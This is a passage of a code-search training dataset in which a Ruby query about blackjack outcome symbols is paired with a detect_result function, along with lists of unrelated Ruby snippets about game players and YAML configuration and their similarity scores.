"def greatest_prime_factor(n)\n return false if n < 1\n divisor = Math.sqrt(n).floor\n\n while divisor>=2\n return divisor if prime?(divisor) && n%divisor==0\n divisor-=1\n end\n return false\nend",
"def largest_prime_factor(n)\n recursive_prime_factors(n)\n PRIMES.keys.sort().last\nend"
] |
[
"0.77478606",
"0.77383935",
"0.7464976",
"0.72996044",
"0.72637457",
"0.7189556",
"0.71862864",
"0.71847427",
"0.7168655",
"0.71521616",
"0.70306104",
"0.69700617",
"0.69178843",
"0.69174993",
"0.6901216",
"0.6894312",
"0.68821144",
"0.6872953",
"0.6865968",
"0.68658525",
"0.68340045",
"0.6824753",
"0.6816512",
"0.6813142",
"0.6809346",
"0.6804869",
"0.67967653",
"0.67853254",
"0.67458403",
"0.6731511",
"0.67201936",
"0.67019606",
"0.6688881",
"0.666786",
"0.6663689",
"0.6655251",
"0.6647476",
"0.6633594",
"0.6629811",
"0.6624592",
"0.66232103",
"0.6603272",
"0.6597777",
"0.6569962",
"0.6566219",
"0.65609664",
"0.6555092",
"0.6506676",
"0.65048367",
"0.65021116",
"0.64940524",
"0.6462604",
"0.6457327",
"0.64550483",
"0.64516294",
"0.6449059",
"0.64430153",
"0.64400786",
"0.64240515",
"0.64163923",
"0.64131707",
"0.640813",
"0.6406509",
"0.64039457",
"0.6403149",
"0.6402088",
"0.6401051",
"0.639959",
"0.6382579",
"0.6368643",
"0.63563997",
"0.6349427",
"0.63451105",
"0.6343086",
"0.6340917",
"0.63393635",
"0.63292",
"0.63259065",
"0.63259065",
"0.63209724",
"0.6320895",
"0.63165075",
"0.63160884",
"0.629928",
"0.6297796",
"0.6293042",
"0.62784934",
"0.62766385",
"0.62751156",
"0.6250212",
"0.6247831",
"0.62408054",
"0.6239407",
"0.62364674",
"0.6232318",
"0.6231324",
"0.6222575",
"0.62206346",
"0.62124026",
"0.62109786",
"0.61940885"
] |
0.0
|
-1
|
:tie, :dealer, :player, :dealer_busted, :player_busted
|
def detect_result(dealer_tot, player_tot)
if player_tot > MAX_VALUE
:player_busted
elsif dealer_tot > MAX_VALUE
:dealer_busted
elsif dealer_tot < player_tot
:player
elsif dealer_tot > player_tot
:dealer
else
:tie
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def affichage_player\n\n\n end",
"def human_and_human_player(size)\n\t@player1 = \"player\"\n @player2 = \"player\"\nend",
"def detect_result\n case\n when player.busted? then :player_busted\n when dealer.busted? then :dealer_busted\n when player.total > dealer.total then :player_higher\n when dealer.total > player.total then :dealer_higher\n else :tie\n end\n end",
"def witcher; end",
"def player_base\n @wealth = 0\n @fame = 0\n @current_exp = 0\n @exp_needed = 100\n @available_attribute_points = 30\n @total_proficiency_points = 1\n @available_proficiency_points = 1\n end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def players; [@hunter, @prey] end",
"def human_player_and_ai(size)\n\tif first?()\n @player1 = \"player\"\n @player2 = difficulty(size,\"o\")\n else\n @player1 = difficulty(size,\"x\")\n @player2 = \"player\"\n end\nend",
"def deal\n self.player.receive_card hit \n self.dealer.receive_card hit \n self.player.receive_card hit \n self.dealer.receive_card hit \n end",
"def loser\n losing_players\n end",
"def outcome\n if (pl_high? || session[:dealer].bust?) && !session[:player].bust?\n outcome = :player\n elsif session[:player].blackjack? && !session[:dealer].blackjack?\n outcome = :blackjack\n session[:player].qualities << \"lucky\"\n elsif push?\n outcome = :push\n else\n outcome = :dealer\n end\n outcome\n end",
"def two_player_mode\nend",
"def weapon; end",
"def weapon; end",
"def weapon; end",
"def melee_weapon; end",
"def get_tie_confirmation()\n return \"Both players tie with #{@player.get_weapon()}!\"\n end",
"def min_players\n # Implementing classes should override\n 0\n end",
"def setup\n @all_players.each do |player|\n deal(player, 2)\n end\n end",
"def initialize(player)\n @en_passant = false\n super(player)\n end",
"def detect_result(player, dealer)\n if player > WINNING_SCORE\n :player_busted\n elsif dealer > WINNING_SCORE\n :dealer_busted\n elsif dealer < player\n :player\n elsif dealer > player\n :dealer\n else\n :tie\n end\nend",
"def change_player\n\n end",
"def set_player\n\n end",
"def next_player!\n end",
"def one_player_mode\nend",
"def play_sports\n end",
"def switch_players\n \n if @current_asker == @player1\n @current_asker = @player2\n @current_responder = @player1\n else\n @current_asker = @player1\n @current_responder = @player2\n end\n\n end",
"def initialize\n @player1wins = 0\n @player2wins = 0\n @ties = 0\n end",
"def get_players\n\n end",
"def data_battler\n enemy\n end",
"def setup_player\n self.points = 0\n Match.all.each do |m|\n self.bets.build(match: m, result: Match::TIE)\n end\n end",
"def hit_stay\n\t@players.each_key {\n\t\t|player|\n\t\t\tplayer_hit_or_stay(player)\t\t\t\n\t}\n\nend",
"def give_bonus player\n player.add_1_life\n end",
"def switch_player\nif @player == PIECE[:x]\n@player = PIECE[:o]\nelse\n@player = PIECE[:x]\nend\nend",
"def reset_player_weapons()\n set_weapon()\n set_other_weapon()\n end",
"def switch_player\n\t\tputs \"\\n\"\n\t\tif @player == @player1\n\t\t\t@player = @player2\n\t\t\t@other_player = @player1\n\t\telse\n\t\t\t@player = @player1\n\t\t\t@other_player = @player2\n\t\tend\n\t\t\n\t\t#Matt easter egg\n\t\tif @player.name.downcase == 'matt'\n\t\t\tdescriptors = [' the Amazing', ' the Hero', ' the Incroyable', \n\t\t\t\t\t\t ' the Handsome', ' the Clever', ' the Wonderful', ' the Indominable']\n\t\t\t@player.name = @player.name + descriptors.sample\n\t\tend\n\n\t\t@player.stench -= 1\n\t\t@player.stench = 4 if @player.location == :Rubbisher\n\t\t@player.beans -= 1\n\t\t@player.pills += 1 if @player.pills > 0\n\t\tif @player.location == :free && @other_player.location == :free\n\t\t\t@escape_artists = @escape_artists.upcase\n\t\t\tif @player.stench > 0 || @player.beans > 0 || @other_player.stench > 0 || @other_player.beans > 0\n\t\t\t\t@stinky = @stinky.upcase\n\t\t\tend\n\t\t\tif (@player.stench > 0 && @other_player.beans > 0) || (@player.beans > 0 && @other_player.stench > 0)\n\t\t\t\t@double_stink = @double_stink.upcase\n\t\t\tend\n\t\t\tputs \"\\nYou've both escaped! Congratulations!\"\n\t\t\tif @player.dead\n\t\t\t\tputs @player.name + \" is dead.\"\n\t\t\t\t@dead_and_free = @dead_and_free.upcase\n\t\t\tend\n\t\t\tputs \"\\nSomething smells awful... the magic in those beans doesn't\\nseem to be good for your digestion.\\n\" if @player.beans > 0 && @player.location != :Rubbisher\n\t\t\tputs \"\\nSomething smells awful... the stench from the Rubbisher lingers on you.\\n\" if @player.stench > 0 && @player.location != :Rubbisher\n\t\t\tif @other_player.dead\n\t\t\t\tputs @other_player.name + \" is dead.\"\n\t\t\t\t@dead_and_free = @dead_and_free.upcase\n\t\t\tend\n\t\t\tputs \"\\nSomething smells awful... the magic in those beans doesn't\\nseem to be good for your digestion.\\n\" if @other_player.beans > 0\n\t\t\tputs \"\\nSomething smells awful... the stench from the Rubbisher lingers on you.\\n\" if @other_player.stench > 0\n\t\t\tshow_achievements\n\t\t\t@game = false\n\t\t\treturn\n\t\tend\n\t\tif @player.location == :free && @other_player.dead\n\t\t\tputs \"\\nYou've escaped, but you've left your friend behind to rot.\\n\"\\\n\t\t\t\t \"Way to go, hero.\"\n\t\t\t@game = false\n\t\tend\n\t\tif @player.location == :free\n\t\t\tputs \"\\n\" + @player.name + \" is free!\"\n\t\tend\n\t\tif @player.dead\n\t\t\tputs \"\\n\" + @player.name + \" is dead.\"\n\t\tend\n\t\tshow_current_description unless @player.location == :free\n\t\tputs \"\\nThe world swims before your eyes.\" if @player.pills == 2\n\t\tputs \"\\nIn the corners of your vision, colorful phantasms\\nflicker in and out of being.\" if @player.pills == 3\n\t\tputs \"\\nYou can see a spirit world overlaying the real one.\\nYour stomach hurts.\" if @player.pills == 4\n\t\tputs \"\\nYou can see a spirit world overlaying the real one.\\nYour entire body is starting to hurt.\" if @player.pills == 5\n\t\tif [4, 5].include?(@player.pills) && @player.location == :Lair && find_room_in_dungeon(:Lair).connections[:north] == nil\n\t\t\tputs \"\\nThe creature's image in the spirit world is far stronger than\\n\"\\\n\t\t\t\t \"in the real. In the spirit world, you can see the ideas holding\\n\"\\\n\t\t\t\t \"the creature together... you reach out your hand and you can\\n\"\\\n\t\t\t\t \"feel them, too. You twist your fingers and those ideas shift.\\n\"\\\n\t\t\t\t \"The creature blurs and disappears. In it's place, a mouse falls\\n\"\\\n\t\t\t\t \"to the floor and scampers away. Without the creature there, you\\n\"\\\n\t\t\t\t \"can see an exit to the north.\" \n\t\t\twin_door(:Lair, :north)\n\t\tend\t\n\t\tif @player.pills == 6\n\t\t\tputs \"\\nYour entire body feels like tiny rats are eating you from inside your veins,\\n\"\\\n\t\t\t\"and the rats are on fire. You can't do anything but lie on the floor and moan.\"\n\t\t\t@player.dead = true\n\t\t\t@overdose = @overdose.upcase\n\t\t\tswitch_player\n\t\t\treturn\n\t\tend\n\t\tputs \"\\nSomething smells awful... the magic in those beans doesn't\\nseem to be good for your digestion.\\n\" if @player.beans > 0\n\t\tputs \"\\nSomething smells awful... the stench from the Rubbisher lingers on you.\\n\" if @player.stench > 0 && @player.location != :Rubbisher\n\t\tif @player.location == :Lair && (@player.stench > 0 || @player.beans > 0) && find_room_in_dungeon(:Lair).connections[:north] == nil\n\t\t\tputs \"\\nThe creature takes a step back, and wrinkles its already wrinkly nose. As it\\n\"\\\n\t\t\t\"glides to the side and disappears through the wall, you think you hear it\\n\"\\\n\t\t\t\"mutter something about the disadvantages of an enhanced sense of smell.\\n\"\\\n\t\t\t\"Without the creature there, you can see an exit to the north.\"\n\t\t\twin_door(:Lair, :north)\n\t\tend\n\t\tif @player.location == :free && @other_player.dead\n\t\t\treturn\n\t\tend\n\t\tif @player.location == :free\n\t\t\tswitch_player\n\t\t\treturn\n\t\tend\n\t\tif @player.dead\n\t\t\tswitch_player\n\t\t\treturn\n\t\tend\n\n\t\t#Matt easter egg\n\t\tif ['matt the amazing', 'matt the hero', 'matt the incroyable', \n\t\t\t'matt the handsome', 'matt the clever', 'matt the wonderful', \n\t\t\t'matt the indominable'].include?(@player.name.downcase)\n\t\t\t@player.name = @player.name.slice(0, 4)\n\t\tend\n\t\n\tend",
"def hitter(hitter)\n\t\t\tif $hitter == @player1\n\t\t\t\tself.hitter1\n\t\t\t\tself.rally\n\t\t\telse \n\t\t\t\tself.hitter2\n\t\t\t\tself.rally\n\t\t\tend\n\t\tend",
"def is_game_over?; won_by?(:hunter) || won_by?(:prey) end",
"def dealer_bust\n puts \"The dealer busted. You win\"\n player_win\n end",
"def initialize\n @silent = false\n self.deck = create_deck\n self.player = Player.new\n self.player.strategy = Strategy.new(self) #default player strategy\n self.dealer = Dealer.new(\"Dealer\")\n self.dealer.strategy = DealerStrategy.new(self)\n\n @last_hand = false\n end",
"def one_round\n player1_weapon = get_player_one_weapon\n player2_weapon = get_player_two_weapon\n return winner?(player1_weapon,player2_weapon)\nend",
"def double_player(player)\n player.bet *= 2\n end",
"def player_setup(player1, player2, names, symbols)\n player1[:player_type] == \"Human\" ? player1 = Human.find(player1[:id]) : player1 = Computer.find(player1[:id])\n player2[:player_type] == \"Human\" ? player2 = Human.find(player2[:id]) : player2 = Computer.find(player2[:id])\n player1.game_id = self.id\n player2.game_id = self.id\n player1.symbol = symbols[0]\n player2.symbol = symbols[1]\n player1.name = names[0]\n player2.name = names[1]\n player1.save\n player2.save\n self.player1_id = player1.id\n self.player2_id = player2.id\n self.save\n end",
"def tie_with_bj\n self.chips += self.bet_chips\n self.is_complete = true\n \"#{name} hit Blackjack! Dealer hit Blackjack too. Push for #{name}.\"\n end",
"def setup_players!(hunter_connection, hunter_name, prey_connection, prey_name)\n\t\t@hunter = Hunter.new(self, hunter_connection, hunter_name)\n\t\t@prey = Prey.new(self, prey_connection, prey_name)\n\tend",
"def winning_play\n {paper: [:rock, :spock], rock: [:lizard, :scissors], scissors: [:paper, :lizard], lizard: [:spock, :paper], spock: [:rock, :scissors], scratch: [:scratch]}\n end",
"def initialize(player)\n @player = player\n @state = 'draw'\n @swaps = []\n end",
"def before_players_ready\r\n end",
"def initialize\n @player1 = Player.new\n @player2 = Player.new\n @deck = Deck.new\n end",
"def play\n @hungry = true\n end",
"def play\n @hungry = true\n end",
"def play\n @hungry = true\n end",
"def deal\n self.deck.deal(player1)\n self.deck.deal(player2)\n end",
"def game_over\n end",
"def player_lives(player)\n player == 1 ? @player_1_lives : @player_2_lives\nend",
"def pass_out_characters_and_coins\n if self.players.size == 2 && @settings.include?(:twoplayer)\n side_decks = [[], []]\n # Uh this is kinda wonky.\n # Oh Well YOLT (You only live twice) in Coup.\n 5.times {\n side_decks[0] << self.draw_cards(1)[0]\n side_decks[1] << self.draw_cards(1)[0]\n self.deck.rotate!\n }\n end\n\n self.deck.shuffle!\n\n # assign loyalties\n self.players.each_with_index do |player, index|\n if self.players.size == 2\n if @settings.include?(:twoplayer)\n player.receive_characters(self.draw_cards(1))\n player.receive_side_characters(*side_decks[index].shuffle)\n else\n player.receive_characters(self.draw_cards(2))\n end\n # first player gets 1 coin and second gets 2.\n player.give_coins(index + 1)\n else\n player.receive_characters(self.draw_cards(2))\n player.give_coins(2)\n end\n end\n end",
"def max_player\n return 1\n end",
"def initialize(player)\n @player = player\n end",
"def is_tie?\n if gladiators[0].weapon == gladiators[1].weapon\n @gladiators = []\n return true\n end\n return false\n end",
"def switch_players \n @active_player, @inactive_player = @inactive_player, @active_player\n end",
"def all_at_table\n @players+[@dealer]\n end",
"def bind_player(player)\r\n @alg_player = player\r\n @log.info(\"[#{@alg_player.type}] Autoplayer #{@alg_player.type} bound with #{player.name}. Ignore actions predifined.\")\r\n @action_queue = []\r\n end",
"def dealer\n if @hand\n (@hand.dealer == @player1) ? @player2 : @player1\n else\n # coin toss\n (rand(2) == 0) @player1 : @player2\n end\n end",
"def give_bonus player\n player.add_weapon(Vibrant_Weapon.new(@window, player))\n end",
"def advance_dealer\n put(:dealer) {|x| player_relative_to(x, 1) }\n end",
"def initialize\n @player1 = get_player_name('1')\n @player2 = get_player_name('2')\n @current_player = @player1\n end",
"def choice_a_battle\n use_item_in_battle\n end",
"def choose_player\n case @name\n when 'R2D2' then rtwodtwo\n when 'Hal' then hal\n when 'Chappie' then chappie\n end\n end",
"def take_bets\n @players.each do |p|\n @events.handle(:pre_player_bet, p)\n\n p.hand.bet = p.place_bet\n\n @events.handle(:post_player_bet, p, p.hand.bet)\n end\n end",
"def punch(player_name)\n\t # we change the life (hp) of our adversary, and we can because of the hp accessor ! \n\t player_name.hp = player_name.hp - 10\n\n\tend",
"def initialize\n @shoe = @player_cnt = @dealer = nil\n @num_rounds = @num_shoes = 0\n @num_decks = 1\n @max_players = 4\n @min_bet = 1\n @max_bet = 100\n @bet_increment = 1\n @bankroll = 1000\n @hit_soft_17 = nil\n @even_money_offered = 1 # Hate when casinos don't offer this option\n @players = []\n @broke_players = []\n @io = BlackJackIO.new\n end",
"def after_players_ready\r\n end",
"def initialize_players\n\n end",
"def enemy; end",
"def play\n 2.times {deal}\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) == 21\n bjwin\n elsif computer_hand.collect{|x| x.value}.inject(:+) == 21\n bjlose\n else\n action\n end\n end",
"def starship; end",
"def new_player_required?; false end",
"def deal_hand\n 2.times do\n dealer << shoe.deal\n player << shoe.deal\n end\n end",
"def tie_with_points\n self.chips += self.bet_chips\n self.is_complete = true\n \"#{name}'s point is same as dealer! Push for #{name}.\"\n end",
"def ai_one_logic(player)\n type = player.ai\n if self.round == 0\n if self.high_bet < 5\n return 'call', 0\n else\n return 'fold', 0\n end\n else\n if self.high_bet == 0\n return 'bet', 2\n elsif self.high_bet < 4\n return 'raise', 4\n elsif self.high_bet >= 16\n return 'fold', 0\n else\n return 'call', 0\n end\n end\n end",
"def game_mode; end",
"def possible_plays\n [:paper, :rock, :scissors, :spock, :lizard]\n end",
"def addBlinds()\n s_blind_loc = get_next_player(self.dealer) # location of small blind player\n b_blind_loc = get_next_player(s_blind_loc) # location of big blind player\n # get player data for small and big blind locations\n s_blind_player = get_player(s_blind_loc) # actual players to change money\n b_blind_player = get_player(b_blind_loc)\n # put money from small and big blind players into pot\n put_money(self.small_blind, s_blind_player)\n put_money(self.big_blind, b_blind_player)\n self.current_player = get_next_player(b_blind_loc)\n b_blind_player.save\n s_blind_player.save\n self.save\n end",
"def start_new_match\n @player1.points = 0\n @player1.deuce = false\n @player1.advantage = false\n @player1.win = false\n @player1.games_won = 0\n @player1.sets_won = 0\n\n @player2.points = 0\n @player2.deuce = false\n @player2.advantage = false\n @player2.win = false\n @player2.games_won = 0\n @player2.sets_won = 0\n end",
"def player_name\n player.name\n end",
"def initialize\n self.player_hash = {}\n self.user_hash = {}\n self.playing_user_names=[]\n self.started = false\n self.disks_for_each_player=4#default\n self.shuffle_names = true\n end",
"def initialize name\n @player = name\n @@player_count+=1\n end",
"def game_over(name)\n end",
"def init_deal(play_deck, dealer_hand, player_hand)\n for i in 1..2\n dealer_hand << hit(play_deck)\n player_hand << hit(play_deck)\n end\nend",
"def loser\n return winner == :player_a ? :player_b : :player_a\n end",
"def reset_statuses\n @player1.deuce = false\n @player2.deuce = false\n @player1.advantage = false\n @player2.advantage = false\n end",
"def detect_result(dealer_total, player_total)\n if dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend",
"def load_tsbs\n @battler_name = @name.clone\n @attack_id = 0\n @guard_id = 0\n super\n end",
"def pbChangePlayer(id)\n return false if id<0 || id>=8\n meta=pbGetMetadata(0,MetadataPlayerA+id)\n return false if !meta\n $Trainer.trainertype=meta[0] if $Trainer\n $game_player.character_name=meta[1]\n $game_player.character_hue=0\n $PokemonGlobal.playerID=id\n $Trainer.metaID=id if $Trainer\nend",
"def skier_quest; end"
] |
[
"0.67244494",
"0.667788",
"0.65078944",
"0.6469328",
"0.6376295",
"0.6328424",
"0.6328424",
"0.6328424",
"0.6328424",
"0.6328424",
"0.6328424",
"0.6328424",
"0.6201409",
"0.61753166",
"0.61658144",
"0.61617005",
"0.6145756",
"0.6082519",
"0.6066469",
"0.6066469",
"0.6066469",
"0.6041048",
"0.60054725",
"0.5979664",
"0.59451526",
"0.59406114",
"0.5922816",
"0.5915235",
"0.58930504",
"0.58908015",
"0.5878875",
"0.58624595",
"0.58526814",
"0.58469003",
"0.5845223",
"0.58295244",
"0.5827332",
"0.5823409",
"0.58197117",
"0.5807089",
"0.5778915",
"0.5773542",
"0.57689476",
"0.5767371",
"0.5766309",
"0.5754823",
"0.57474905",
"0.5740223",
"0.5732401",
"0.5729691",
"0.5698102",
"0.5687006",
"0.5686004",
"0.5681528",
"0.5664637",
"0.5662314",
"0.5662314",
"0.5662314",
"0.56616294",
"0.56602824",
"0.56553125",
"0.5654671",
"0.5653805",
"0.5653565",
"0.56496704",
"0.5649456",
"0.5643143",
"0.5637384",
"0.5629911",
"0.5629439",
"0.56278336",
"0.5622482",
"0.5613916",
"0.56127495",
"0.5611794",
"0.56105185",
"0.560843",
"0.56071156",
"0.56059",
"0.55929124",
"0.5592721",
"0.5590261",
"0.5584868",
"0.5582047",
"0.55791134",
"0.5576582",
"0.5574456",
"0.5567877",
"0.5564841",
"0.5563112",
"0.5562169",
"0.55603784",
"0.55576915",
"0.55554926",
"0.5553779",
"0.5548887",
"0.5548191",
"0.5543232",
"0.5536874",
"0.55355203",
"0.552933"
] |
0.0
|
-1
|
yaml => YAML String / config => YAML path silent / quiet / verbose
|
def initialize
@argv_option = {}
@config = {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def config_for_yaml(opts = {})\n path = opts[:yaml] || fixture('app_config.yml')\n config_for({ yaml: path }.merge(opts))\n end",
"def yaml\n parse_yaml_string(yaml_string(config_file), config_file)\n end",
"def yaml_file?; end",
"def yaml\n @config.to_yaml\n end",
"def yaml_config\n IceNine.deep_freeze(YAML.load_file(config_file)) if config_file.file?\n end",
"def yaml_config\n IceNine.deep_freeze(YAML.load_file(config_file)) if config_file.file?\n end",
"def yaml\n config = fetch(@variable, {})\n stringified = if config.respond_to?(:deep_stringify_keys)\n config.deep_stringify_keys\n else\n # TODO: remove when dropping rails 3 support\n # two level stringify for rails 3 compatibility\n config.stringify_keys.each_value(&:stringify_keys!)\n end\n stringified.to_yaml\n end",
"def yaml( *args )\n ::Logging::Layouts::Parseable.yaml(*args)\n end",
"def config\n\tYAML.load(File.open(\"config.yaml\"))\nend",
"def yaml_dump(val)\n yml = \"\\n\" + YAML.dump(val)\n yml.gsub(/ +\\n/, \"\\n\")\n end",
"def yaml(filename)\n YAML.load(IO.read(filename).gsub(/---\\z/, ''))\nend",
"def nice_yaml(string)\n YAML.dump(string).gsub(/\\A---\\n/, '')\n end",
"def to_yaml\n require 'yaml'\n self.config.to_hash.to_yaml\n end",
"def load_yaml(filename); end",
"def save_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getSaveFileName(self, \"Save configuration file\", \"./myconfig.yml\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin\n config_hash = Hash.new\n @container_hash.each do |pos, container|\n config_hash[pos] = container.config\n end\n File.open(path, \"w\") {|f| f.write(config_hash.to_yaml) }\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to write configuration to '#{path}': \\n#{e.message}\"\n end\n end",
"def yaml\n @yaml ||= YAML.load_file path\n rescue StandardError\n {}\n end",
"def load_config\n create_yolo_dir\n unless File.exist?(yaml_path)\n @formatter.config_created(yaml_path)\n FileUtils.cp_r(File.dirname(__FILE__) + \"/config.yml\", yaml_path)\n end\n end",
"def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end",
"def yml_config\n return @yml_config if @yml_config\n\n require 'yaml'\n data = File.open(options[:config_path]).read\n\n require 'erb'\n data = ERB.new(data).result(binding)\n\n @yml_config ||= YAML.load(data)\n end",
"def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end",
"def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end",
"def ansible_setup_yaml(built_setup)\n YAML.dump(built_setup)\nend",
"def local_yaml\n parse_yaml_string(yaml_string(local_config_file), local_config_file)\n end",
"def config\n fail(SlashDeploy::NoConfig) unless config?\n SlashDeploy::Config.from_yaml(raw_config)\n end",
"def yaml\n @yaml ||= has_yaml? ? YAML.load(@content) : {}\n end",
"def generate_configuration\n template \"mebla.yml\", \"config/mebla.yml\"\n end",
"def to_yaml\n kitchen_config.to_yaml.gsub(/---[ \\n]/, '')\n end",
"def to_yaml() end",
"def yaml_file?\n false\n end",
"def from_yaml\n results = YAML.load(self)\n \n # Replace bad values\n if results == false or results == nil\n \"\"\n else\n results\n end\n end",
"def bare_yaml\n return \"\" unless present?\n yaml = to_yaml\n\n # Detect single-line libyaml 0.2.1 scalar and remove trailing newline\n return yaml.sub(/\\A--- ([^\\n]+)\\n\\Z/m, '\\1') if yaml.single_line_ending_in_newline?\n\n yaml.sub(/\\A---[ \\n]/, \"\") # Handle header for multi-line yaml snippets\n .sub(/(\\n\\.\\.\\.\\n)?\\Z/m, \"\") # Handle libyaml 0.1.7 end of stream marker\n end",
"def parse_config(config)\n @config = YAML.load_file(config)\n debug_msg(\"CONFIG: #{@config.inspect}\")\nend",
"def configure(allow_suffix=true)\n [:'config-dir', :'spool-dir'].each {|dir| mkdir($config[dir]) }\n %w(CONFIG RECIPIENTS MESSAGES).each {|file| mkyml(file, allow_suffix) }\n 0\n end",
"def config_file\n \"#{confdir}/config.yml\"\n end",
"def yaml_path\n \"#{user_directory}/.yolo/config.yml\"\n end",
"def database_yml_config\n path = File.expand_path(configuration_path) \n return unless File.exists?(path) \n config = YAML.load(ERB.new(File.read(path)).result)\n\n config[\"development\"] rescue nil\n end",
"def filter_config(text)\n if text =~ /^---\\n(.*)^---\\n(.*)/m\n return YAML.load($1) || {}, $2\n else\n return nil, text\n end\n end",
"def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end",
"def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end",
"def paml(x)\n\n puts(YAML.dump(x))\nend",
"def config_for name\n yaml = SpaceScrape.root.join 'config', \"#{ name }.yml\"\n\n unless yaml.exist?\n raise \"Could not load configuration. No such file - #{ yaml }\"\n end\n\n erb = ERB.new(yaml.read).result\n erbd_yaml = YAML.load erb\n\n erbd_yaml[SpaceScrape.environment.to_s] || {}\n rescue YAML::SyntaxError => e\n raise \"YAML syntax error occurred while parsing #{ yaml }. \" \\\n \"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. \" \\\n \"Error: #{ e.message }\"\n end",
"def loadyaml(filename) YAML.load_file(filename) end",
"def yaml(*files, **options, &block) = read(*files, parse: :yaml, ext: ['.yml', '.yaml'], **options, &block)",
"def yaml_template\n%{database_username: myAwesomeUserName\ndatabase_password: myTinySecretPassword}\n end",
"def y(obj)\n puts obj.to_yaml\nend",
"def y(obj)\n puts obj.to_yaml\nend",
"def test_load_from_yaml\n loaded = Syck.load(<<-eoyml)\n--- !set\nfoo: bar\nbar: baz\n eoyml\n assert_equal(@set, loaded)\n end",
"def config options={}\n options = DEFAULT_OPTS.merge(options)\n config = Path.yaml_file(options[:file])\n unless options[:environment].nil? || options[:environment].empty?\n config[options[:environment]]\n else\n config\n end\n end",
"def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend",
"def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend",
"def change_base_url_to(url)\n puts \"Changing Base URL to #{url}..\"\n config = YAML.load_file('./config.yaml')\n config['base_url'] = url\n File.open('./config.yaml', 'w') do |file|\n file.write(config.to_yaml)\n end\nend",
"def configure_with(path_to_yaml_file)\n if path_to_yaml_file\n begin\n config = YAML.load(IO.read(path_to_yaml_file))\n rescue Errno::ENOENT\n @log.warn(\n \"YAML configuration file couldn\\'t be found at \" \\\n \"#{path_to_yaml_file}. Using defaults.\")\n return @config\n rescue Psych::SyntaxError\n @log.warn(\n 'YAML configuration file contains invalid syntax. Using defaults.')\n return @config\n end\n else\n config = {}\n end\n\n configure(config)\n end",
"def yaml(object) \n title = split(object)\n category = split(object, 1)\n ret = ''\n \n ret += '---' + \"\\n\"\n ret += \"layout: styleguide\" + \"\\n\"\n ret += \"title: #{title.capitalize}\" + \"\\n\"\n ret += \"category: #{category}\" + \"\\n\"\n ret += \"scss: _#{title}.scss\" + \"\\n\"\n ret += '---' + \"\\n\"\n \n ret\n end",
"def write\n require 'yaml'\n open config_file_name, 'w' do |io|\n io.write to_yaml\n end\n end",
"def from_yaml(text)\n if config = YAML.load(text)\n return config\n end\n end",
"def config\n @config ||= yaml_content || {\n 'apiVersion' => 'v1',\n 'clusters' => [],\n 'contexts' => [],\n 'current-context' => nil,\n 'kind' => 'Config',\n 'preferences' => {},\n 'users' => []\n }\n end",
"def configuration\n options = @configuration.deep_symbolize_keys.merge(yaml_options)\n options.merge!(logger: logger) if logger\n options\n end",
"def global_yaml\n parse_yaml_string(yaml_string(global_config_file), global_config_file)\n end",
"def data_links\r\n puts \"pwd:\"\r\n puts Dir.pwd\r\n\r\n data = YAML.load_file( './data/links.yml' )\r\n puts data.inspect\r\n data\r\nend",
"def load_yml(filename); end",
"def yaml(hash)\n method = hash.respond_to?(:ya2yaml) ? :ya2yaml : :to_yaml\n string = hash.deep_stringify_keys.send(method)\n# string.gsub(\"!ruby/symbol \", \":\").sub(\"---\",\"\").split(\"\\n\").map(&:rstrip).join(\"\\n\").strip\nend",
"def load_yaml(args = {})\n file = File.read(args[:file] || CMUX_YAML)\n yaml = YAML.load(file)\n args[:key] ? yaml[args[:key]] : yaml\n rescue Psych::SyntaxError\n message = \"Make sure you've written #{file} in YAML Simple Mapping.\" \\\n ' Please check README.'\n raise message.red\n end",
"def from_config\n config ||= YAML::load(File.open((File.join(File.dirname(__FILE__), 'config.yml'))))\nend",
"def validate_configuration(config, dump)\n config = read_config(config)\n\n config = config.delete_if {|_k, v| v.nil? }\n\n check_config(config)\n\n puts config.to_yaml if dump\n\n 0\n end",
"def dump_yaml(args = {})\n\t # \n\t # parse arguments\n\t # \n\t if args.keys.size == 1 and args.values.size == 1\n\t data = args.keys.first\n\t output_path = args.values.first\n\t else\n\t raise \"dump_yaml() currently only accepts one {URL => location} pair\"\n\t end\n\t \n\t # \n\t # serialize the file\n\t # \n\t File.open(output_path, 'w') {|f| f.write data.to_yaml }\n\tend",
"def parse_yaml(filename)\n @config_file = filename\n begin\n @configuration = YAML::load_file(filename)\n rescue => ex\n STDERR.puts \"Couldn't find config file #{filename}\"\n STDERR.puts ex\n STDERR.puts ex.backtrace\n exit(1)\n end\n end",
"def config_via_runner(env: 'development', envvars: '')\n code = %q(puts Marshal.dump(\n OpenStruct.new(\n dataroot: Configuration.dataroot,\n production_database_path: Configuration.production_database_path,\n load_external_config: Configuration.load_external_config?,\n show_job_options_account_field: Configuration.show_job_options_account_field?\n )\n )\n )\n Marshal.load(runner(code, env: env, envvars: envvars))\n end",
"def initialize_config_yaml(filename, files = Dry::Files.new, template: config_template)\n files.write(filename, template)\n end",
